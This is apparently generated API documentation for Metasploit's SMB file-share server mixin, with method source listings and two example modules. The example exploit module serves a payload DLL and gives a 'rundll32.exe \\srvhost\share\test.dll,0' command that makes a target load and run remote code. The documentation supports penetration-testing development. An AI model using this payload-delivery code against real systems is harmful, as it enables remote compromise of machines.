Module: Msf::Exploit::Remote::SMB::Server::Share

Includes:
Msf::Exploit::Remote::SMB::Server, Command::Close, Command::Negotiate, Command::NtCreateAndx, Command::ReadAndx, Command::SessionSetupAndx, Command::Trans2, Command::Trans2::FindFirst2, Command::Trans2::QueryFileInformation, Command::Trans2::QueryPathInformation, InformationLevel::Find, InformationLevel::Query
Defined in:
lib/msf/core/exploit/smb/server/share.rb,
lib/msf/core/exploit/smb/server/share/command.rb,
lib/msf/core/exploit/smb/server/share/command/close.rb,
lib/msf/core/exploit/smb/server/share/command/trans2.rb,
lib/msf/core/exploit/smb/server/share/command/negotiate.rb,
lib/msf/core/exploit/smb/server/share/command/read_andx.rb,
lib/msf/core/exploit/smb/server/share/information_level.rb,
lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb,
lib/msf/core/exploit/smb/server/share/information_level/find.rb,
lib/msf/core/exploit/smb/server/share/information_level/query.rb,
lib/msf/core/exploit/smb/server/share/command/session_setup_andx.rb,
lib/msf/core/exploit/smb/server/share/command/trans2/find_first2.rb,
lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information.rb,
lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information.rb

Overview

This mixin provides a minimal SMB server sharing an UNC resource. At this moment it is capable to share just one file. And the file should live in the root folder “\”.

Examples:

Use it from an Auxiliary module

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::SMB::Server::Share

  def initialize
    super(
      'Name'        => 'SMB File Server',
      'Description'    => %q{
        This module provides a SMB File Server service
      },
      'Author'      =>
        [
          'Matthew Hall',
          'juan vazquez'
        ],
      'License'     => MSF_LICENSE,
      'Actions'     =>
        [
          ['Service']
        ],
      'PassiveActions' =>
        [
          'Service'
        ],
      'DefaultAction'  => 'Service'
    )
  end

  def run
    print_status("Starting SMB Server on #{unc}...")
    exploit
  end

  def primer
    print_status("Primer...")
    self.file_contents = 'METASPLOIT'
  end
end

Use it from an Exploit module

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::SMB::Server::Share

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Example Exploit",
      'Description'    => %q{
        Example exploit, the Server shares a DLL embedding the payload. A session
        can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from
        from the target.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Matthew Hall',
          'juan vazquez'
        ],
      'References'     =>
        [
          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
        ],
      'Payload'        =>
        {
          'Space'       => 2048,
          'DisableNops' => true
        },
        'Platform'       => 'win',
        'Targets'        =>
          [
            ['Windows XP SP3 / Windows 2003 SP2', {}],
          ],
        'Privileged'     => false,
        'DisclosureDate' => "Mar 02 2015",
        'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll'])
      ], self.class)

    deregister_options('FILE_CONTENTS')
  end

  def primer
    self.file_contents = generate_payload_dll
    print_status("File available on #{unc}...")
  end
end

Defined Under Namespace

Modules: Command, InformationLevel

Constant Summary collapse

FLAGS =
CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
FLAGS2 =
CONST::FLAGS2_UNICODE_STRINGS |
CONST::FLAGS2_EXTENDED_SECURITY |
CONST::FLAGS2_32_BIT_ERROR_CODES |
CONST::FLAGS2_LONG_PATH_COMPONENTS
CAPABILITIES =
CONST::CAP_UNIX_EXTENSIONS |
CONST::CAP_LARGE_WRITEX |
CONST::CAP_LARGE_READX |
CONST::CAP_PASSTHRU |
CONST::CAP_DFS |
CONST::CAP_NT_FIND |
CONST::CAP_LOCK_AND_READ |
CONST::CAP_LEVEL_II_OPLOCKS |
CONST::CAP_STATUS32 |
CONST::CAP_RPC_REMOTE_APIS |
CONST::CAP_NT_SMBS |
CONST::CAP_LARGE_FILES |
CONST::CAP_UNICODE |
CONST::CAP_RAW_MODE
CREATE_MAX_ACCESS =
CONST::SMB_READ_ACCESS |
CONST::SMB_WRITE_ACCESS |
CONST::SMB_APPEND_ACCESS |
CONST::SMB_READ_EA_ACCESS |
CONST::SMB_WRITE_EA_ACCESS |
CONST::SMB_EXECUTE_ACCESS |
CONST::SMB_DELETE_CHILD_ACCESS |
CONST::SMB_READ_ATTRIBUTES_ACCESS |
CONST::SMB_WRITE_ATTRIBUTES_ACCESS |
CONST::SMB_DELETE_ACCESS |
CONST::SMB_READ_CONTROL_ACCESS |
CONST::SMB_WRITE_DAC_ACCESS |
CONST::SMB_WRITE_OWNER_ACCESS |
CONST::SMB_SYNC_ACCESS
TREE_CONNECT_MAX_ACCESS =
CONST::SMB_READ_ACCESS |
CONST::SMB_READ_EA_ACCESS |
CONST::SMB_EXECUTE_ACCESS |
CONST::SMB_READ_ATTRIBUTES_ACCESS |
CONST::SMB_READ_CONTROL_ACCESS |
CONST::SMB_SYNC_ACCESS

Constants included from Msf::Exploit::Remote::SMB::Server

CONST, CRYPT, EVADE, UTILS, XCEPT

Instance Attribute Summary collapse

Attributes included from Msf::Exploit::Remote::SocketServer

#service

Instance Method Summary collapse

Methods included from Msf::Exploit::Remote::SMB::Server

#on_client_close, #on_client_connect, #on_client_data, #smb_error, #smb_pool_update, #smb_recv, #smb_set_defaults, #smb_stop

Methods included from TcpServer

#on_client_close, #on_client_connect, #ssl, #ssl_cert, #ssl_cipher, #ssl_compression, #start_service

Methods included from Msf::Exploit::Remote::SocketServer

#_determine_server_comm, #cleanup, #exploit, #on_client_data, #primer, #regenerate_payload, #srvport, #start_service, #stop_service, #via_string_for_ip

Methods included from InformationLevel::Query

#send_info_basic_res, #send_info_network_res, #send_info_standard_res, #smb_cmd_trans_query_file_info_basic, #smb_cmd_trans_query_file_info_standard, #smb_cmd_trans_query_path_info_basic, #smb_cmd_trans_query_path_info_network, #smb_cmd_trans_query_path_info_standard

Methods included from InformationLevel::Find

#send_find_file_both_directory_info_res, #send_find_file_names_info_res, #send_find_full_directory_info_res, #smb_cmd_find_file_both_directory_info, #smb_cmd_find_file_full_directory_info, #smb_cmd_find_file_names_info

Methods included from Command::Trans2::QueryPathInformation

#smb_cmd_trans2_query_path_information

Methods included from Command::Trans2::QueryFileInformation

#smb_cmd_trans2_query_file_information

Methods included from Command::Trans2::FindFirst2

#smb_cmd_trans2_find_first2

Methods included from Command::Trans2

#normalize_path, #send_trans2_res, #smb_cmd_trans2, #smb_expand

Methods included from Command::SessionSetupAndx

#send_session_setup_andx_res, #smb_cmd_session_setup_andx

Methods included from Command::ReadAndx

#send_read_andx_res, #smb_cmd_read_andx

Methods included from Command::NtCreateAndx

#send_nt_create_andx_res, #smb_cmd_nt_create_andx

Methods included from Command::Negotiate

#send_negotitate_res, #smb_cmd_negotiate

Methods included from Command::Close

#send_close_res, #smb_cmd_close

Instance Attribute Details

#file_contentsString

Returns The contents of the provided file.

Returns:

  • (String)

    The contents of the provided file


192
193
194
# File 'lib/msf/core/exploit/smb/server/share.rb', line 192

def file_contents
  @file_contents
end

#file_nameString

Returns The file name of the provided UNC.

Returns:

  • (String)

    The file name of the provided UNC.


183
184
185
# File 'lib/msf/core/exploit/smb/server/share.rb', line 183

def file_name
  @file_name
end

#folder_nameString

Returns The folder where the provided file lives.

Returns:

  • (String)

    The folder where the provided file lives.


180
181
182
# File 'lib/msf/core/exploit/smb/server/share.rb', line 180

def folder_name
  @folder_name
end

#hiInteger

Returns The high 4 bytes for the file 'created time'.

Returns:

  • (Integer)

    The high 4 bytes for the file 'created time'.


186
187
188
# File 'lib/msf/core/exploit/smb/server/share.rb', line 186

def hi
  @hi
end

#loInteger

Returns The low 4 bytes for the file 'created time'.

Returns:

  • (Integer)

    The low 4 bytes for the file 'created time'.


189
190
191
# File 'lib/msf/core/exploit/smb/server/share.rb', line 189

def lo
  @lo
end

#shareString

Returns The share portion of the provided UNC.

Returns:

  • (String)

    The share portion of the provided UNC.


177
178
179
# File 'lib/msf/core/exploit/smb/server/share.rb', line 177

def share
  @share
end

Instance Method Details

#get_file_contents(client:, file: '', folder: '') ⇒ String

Note:

This method will be useful when multiple files are supported. At the moment is used to be overriden by modules. So they can customize the file contents.

Returns the file contents for the requested file

Parameters:

  • file (String) (defaults to: '')

    the requested file

  • folder (String) (defaults to: '')

    the requested folder

Returns:

  • (String)

    The file contents.


244
245
246
# File 'lib/msf/core/exploit/smb/server/share.rb', line 244

def get_file_contents(client:, file: '', folder: '')
  file_contents
end

#initialize(info = {}) ⇒ Object


194
195
196
197
198
199
200
201
202
203
204
# File 'lib/msf/core/exploit/smb/server/share.rb', line 194

def initialize(info = {})
  super

  register_options(
    [
      OptString.new('SHARE', [ false, 'Share (Default Random)']),
      OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']),
      OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default none)']),
      OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)'])
    ], Msf::Exploit::Remote::SMB::Server::Share)
end

#setupObject

Setups the server configuration.


207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
# File 'lib/msf/core/exploit/smb/server/share.rb', line 207

def setup
  super

  self.folder_name = datastore['FOLDER_NAME']
  self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
  self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))

  t = Time.now.to_i
  self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t)

  # The module has an opportunity to set up the file contents in the "primer callback"
  if datastore['FILE_CONTENTS']
    File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.file_contents = f.read }
  else
    self.file_contents = Rex::Text.rand_text_alpha(50 + rand(150))
  end
end

#smb_cmd_dispatch(cmd, c, buff) ⇒ Integer

Main dispatcher function. Takes the client data and performs a case switch on the command (e.g. Negotiate, Session Setup, Read file, etc.)

Parameters:

  • cmd (Integer)

    The SMB Command requested.

  • c (Socket)

    The client to answer.

  • buff (String)

    The data including the client request.

Returns:

  • (Integer)

    The number of bytes returned to the client as response.


278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
# File 'lib/msf/core/exploit/smb/server/share.rb', line 278

def smb_cmd_dispatch(cmd, c, buff)
  smb = @state[c]

  pkt = CONST::SMB_BASE_PKT.make_struct
  pkt.from_s(buff)
  #Record the IDs
  smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
  smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
  smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
  smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']

  case cmd
    when CONST::SMB_COM_NEGOTIATE
      return smb_cmd_negotiate(c, buff)
    when CONST::SMB_COM_SESSION_SETUP_ANDX
      word_count = pkt['Payload']['SMB'].v['WordCount']
      if word_count == 0x0d # Share Security Mode sessions
        return smb_cmd_session_setup_andx(c, buff)
      else
        print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ")
        return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
      end
    when CONST::SMB_COM_TRANSACTION2
      return smb_cmd_trans2(c, buff)
    when CONST::SMB_COM_NT_CREATE_ANDX
      return smb_cmd_nt_create_andx(c, buff)
    when CONST::SMB_COM_READ_ANDX
      return smb_cmd_read_andx(c, buff)
    when CONST::SMB_COM_CLOSE
      return smb_cmd_close(c, buff)
    else
      vprint_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ")
      return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
  end
end

#smb_conn(c) ⇒ Hash

New connection handler, executed when there is a new connection.

Parameters:

  • c (Socket)

    The client establishing the connection.

Returns:

  • (Hash)

    The hash with the client data initialized.


259
260
261
262
263
264
265
266
267
268
269
# File 'lib/msf/core/exploit/smb/server/share.rb', line 259

def smb_conn(c)
  @state[c] = {
    :name         => "#{c.peerhost}:#{c.peerport}",
    :ip           => c.peerhost,
    :port         => c.peerport,
    :multiplex_id => rand(0xffff),
    :process_id   => rand(0xffff),
    :file_id      => 0xdead,
    :dir_id       => 0xbeef
  }
end

#srvhostString

Builds the server address.

Returns:

  • (String)

    The server address.


251
252
253
# File 'lib/msf/core/exploit/smb/server/share.rb', line 251

def srvhost
  datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
end

#uncObject

Builds the UNC Name for the shared file


226
227
228
229
230
231
232
233
234
# File 'lib/msf/core/exploit/smb/server/share.rb', line 226

def unc
  if folder_name
    path = "\\\\#{srvhost}\\#{share}\\#{folder_name}\\#{file_name}"
  else
    path = "\\\\#{srvhost}\\#{share}\\#{file_name}"
  end

  path
end